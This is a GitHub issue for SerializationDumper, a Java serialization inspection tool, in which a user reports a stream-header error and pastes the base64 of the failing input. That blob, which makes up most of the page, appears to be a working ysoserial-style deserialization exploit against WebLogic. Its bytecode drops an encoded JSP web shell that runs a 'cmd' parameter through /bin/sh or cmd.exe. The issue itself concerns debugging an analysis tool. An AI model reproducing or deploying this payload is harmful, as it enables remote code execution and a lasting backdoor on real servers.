search

NickstaDB / SerializationDumper

A tool to dump Java serialization streams in a more human readable form.
MIT License
992 stars 125 forks source link

Invalid STREAM_MAGIC, should be 0xac ed #4

Closed hktalent closed 5 years ago

hktalent commented 5 years ago 
java -jar SerializationDumper.jar -f /pwnjvm/test/8848.bin

Unknown RMI packet type - 0xef
STREAM_MAGIC - 0xef ef
Invalid STREAM_MAGIC, should be 0xac ed
hktalent commented 5 years ago 
$ base64 /pwnjvm/test/8848.bin
rO0Fc3IXamF2YS51dGlsLkxpbmtlZEhhc2hTZXTYbNdald0qHgJ4chFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0A3hwdwwQP0ACc3I6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwlJDV9pbmRlbnROdW1iZXJJDl90cmFuc2xldEluZGV4WhVfdXNlU2VydmljZXNNZWNoYW5pc21MGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXR0EkxqYXZhL2xhbmcvU3RyaW5nO0wLX2F1eENsYXNzZXN0O0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwpfYnl0ZWNvZGVzdANbW0JbBl9jbGFzc3QSW0xqYXZhL2xhbmcvQ2xhc3M7TAVfbmFtZXF+BEwRX291dHB1dFByb3BlcnRpZXN0FkxqYXZhL3V0aWwvUHJvcGVydGllczt4cP////90A2FsbHB1cgNbW0JL/RkVZ2fbNwJ4cAJ1cgJbQqzzF/gGCFTgAnhwDejK/rq+MnIKAyIHcAclByYBEHNlcmlhbFZlcnNpb25VSUQBAUoBDUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BBjxpbml0PgEDKClWAQRDb2RlAQ9MaW5lTnVtYmVyVGFibGUBEkxvY2FsVmFyaWFibGVUYWJsZQEEdGhpcwETU3R1YlRyYW5zbGV0UGF5bG9hZAEMSW5uZXJDbGFzc2VzATpMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0c2FzeW5jJFN0dWJUcmFuc2xldFBheWxvYWQ7AQl0cmFuc2Zvcm0BcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEIZG9jdW1lbnQBLUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEIaGFuZGxlcnMBQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEKRXhjZXB0aW9ucwcnAaYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQhpdGVyYXRvcgE1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBB2hhbmRsZXIBQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQpTb3VyY2VGaWxlARFHYWRnZXRzYXN5bmMuamF2YQwKCwcoATh5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzYXN5bmMkU3R1YlRyYW5zbGV0UGF5bG9hZAFAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEUamF2YS9pby9TZXJpYWxpemFibGUBOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEkeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0c2FzeW5jAQg8Y2xpbml0PgEQamF2YS9sYW5nL1RocmVhZAcqAQ1jdXJyZW50VGhyZWFkARQoKUxqYXZhL2xhbmcvVGhyZWFkOwwsLQorLgEbd2VibG9naWMvd29yay9FeGVjdXRlVGhyZWFkBzABDmdldEN1cnJlbnRXb3JrAR0oKUx3ZWJsb2dpYy93b3JrL1dvcmtBZGFwdGVyOwwyMwoxNAEsd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVxdWVzdEltcGwHNgEKZ2V0Q29udGV4dAEyKClMd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9XZWJBcHBTZXJ2bGV0Q29udGV4dDsMODkKNzoBLndlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQHPAEOZ2V0Um9vdFRlbXBEaXIBECgpTGphdmEvaW8vRmlsZTsMPj8KPUABDGphdmEvaW8vRmlsZQdCAQ9nZXRBYnNvbHV0ZVBhdGgBFCgpTGphdmEvbGFuZy9TdHJpbmc7DERFCkNGAQUvd2FyLwhIARBqYXZhL2xhbmcvU3RyaW5nB0oBBmNvbmNhdAEmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMTE0KS04BCGZpbGVOYW1lCFABCWdldEhlYWRlcgxSTQo3UwETamF2YS9pby9QcmludFdyaXRlcgdVARUoTGphdmEvbGFuZy9TdHJpbmc7KVYMClcKVlgBFnN1bi9taXNjL0JBU0U2NERlY29kZXIHWgpbIgEEHFBDVkFJSEJoWjJVZ1kyOXVkR1Z1ZEZSNWNHVTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDFWVkVZdE9DSWdKVDROQ2p3bFFDQndZV2RsSUdsdGNHOXlkRDBpYW1GMllTNXBieTRxSWlBbFBpQThKU0JUZEhKcGJtY2djMmhsYkd4Zk1TQTlJQ0l2WW1sdUwzTm9JanRUZEhKcGJtY2djMmhsYkd4Zk1pQTlJQ0l0WXlJN0lHbG1JQ2hUZVhOMFpXMHVaMlYwVUhKdmNHVnlkSGtvSW05ekxtNWhiV1VpS1M1MGIweHZkMlZ5UTJGelpTZ3BMbWx1WkdWNFQyWW9JbmRwYm1SdmQzTWlLVDR0TVNsN0lITm9aV3hzWHpFZ1BTQWlZMjFrTG1WNFpTSTdJSE5vWld4c1h6SWdQU0FpTDJNaU8zMGdVM1J5YVc1bklHTnRaQ0E5SUhKbGNYVmxjM1F1WjJWMFVHRnlZVzFsZEdWeUtDSmpiV1FpS1RzZ1UzUnlhVzVuSUc5MWRIQjFkQ0E5SUNJaU95QnBaaWhqYldRZ0lUMGdiblZzYkNrZ2V5QlRkSEpwYm1jZ2N5QTlJRzUxYkd3N0lIUnllU0I3SUZCeWIyTmxjM01nY0NBOUlGSjFiblJwYldVdVoyVjBVblZ1ZEdsdFpTZ3BMbVY0WldNb2JtVjNJRk4wY21sdVoxdGRlM05vWld4c1h6RXNjMmhsYkd4Zk1peGpiV1I5S1RzZ1FuVm1abVZ5WldSU1pXRmtaWElnYzBrZ1BTQnVaWGNnUW5WbVptVnlaV1JTWldGa1pYSW9ibVYzSUVsdWNIVjBVM1J5WldGdFVtVmhaR1Z5S0hBdVoyVjBTVzV3ZFhSVGRISmxZVzBvS1NrcE95QjNhR2xzWlNnb2N5QTlJSE5KTG5KbFlXUk1hVzVsS0NrcElDRTlJRzUxYkd3cElIc2diM1YwY0hWMElDczlJSE1nS3lKY2NseHVJanNnZlNCQ2RXWm1aWEpsWkZKbFlXUmxjaUJ6U1RFZ1BTQnVaWGNnUW5WbVptVnlaV1JTWldGa1pYSW9ibVYzSUVsdWNIVjBVM1J5WldGdFVtVmhaR1Z5S0hBdVoyVjBSWEp5YjNKVGRISmxZVzBvS1NrcE95QjNhR2xzWlNnb2N5QTlJSE5KTVM1eVpXRmtUR2x1WlNncEtTQWhQU0J1ZFd4c0tTQjdJRzkxZEhCMWRDQXJQU0J6SUNzaVhISmNiaUk3SUgxOUlHTmhkR05vS0VsUFJYaGpaWEIwYVc5dUlHVXBJSHNnWlM1d2NtbHVkRk4wWVdOclZISmhZMlVvS1RzZ2ZTQjlJQ1UrSUR4d2NtVStJRHdsUFc5MWRIQjFkQ0FsUGlBOEwzQnlaVDQ9CF0BGXN1bi9taXNjL0NoYXJhY3RlckRlY29kZXIHXwEMZGVjb2RlQnVmZmVyARYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDGFiCmBjAQUoW0IpVgwKZQpLZgEGYXBwZW5kAS8oTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2lvL1ByaW50V3JpdGVyOwxoaQpWagEFY2xvc2UMbAsKVm0BDVN0YWNrTWFwVGFibGUBH3lzb3NlcmlhbC9Qd25lcjM1Nzc5MDExNDY3NDU4NDQBIUx5c29zZXJpYWwvUHduZXIzNTc3OTAxMTQ2NzQ1ODQ0OyECAwEEARoFBgEHAggEAQoLAQwvAQEFKrcBsQINBgEyDgwBBQ9xARMUAgw/AwGxAg0GATcOIAMBD3EBFRYBARcYAhkEARoBExsCDEkEAbECDQYBOw4qBAEPcQEVFgEBHB0CAR4fAxkEARoIKQsBDGYGBVGnAwFMuC/AMU0stjXAN04ttju2QbZHEkm2Ty0SUbZUtk86BLtWWRkEt1m7S1m7W1m3XBJetmS3Z7Zrtm6xAW8DAQMCIAIhEQoBAiMQCXVxfg0B6Mr+ur4yGwoDFQcXBxgHGQEQc2VyaWFsVmVyc2lvblVJRAEBSgENQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEGPGluaXQ+AQMoKVYBBENvZGUBD0xpbmVOdW1iZXJUYWJsZQESTG9jYWxWYXJpYWJsZVRhYmxlAQR0aGlzAQNGb28BDElubmVyQ2xhc3NlcwEqTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHNhc3luYyRGb287AQpTb3VyY2VGaWxlARFHYWRnZXRzYXN5bmMuamF2YQwKCwcaASh5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzYXN5bmMkRm9vARBqYXZhL2xhbmcvT2JqZWN0ARRqYXZhL2lvL1NlcmlhbGl6YWJsZQEkeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0c2FzeW5jIQIDAQQBGgUGAQcCCAEBCgsBDC8BAQUqtwGxAg0GAT8ODAEFDxICEwIUEQoBAhYQCXB0BFB3bnJwdwF4c30BHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIBTAFodCVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcjJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgJMDG1lbWJlclZhbHVlc3QPTGphdmEvdXRpbC9NYXA7TAR0eXBldBFMamF2YS9sYW5nL0NsYXNzO3hwc3IRamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMCRgpsb2FkRmFjdG9ySQl0aHJlc2hvbGR4cD9ADHcIEAF0CGY1YTVhNjA4cX4JeHZyHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHB4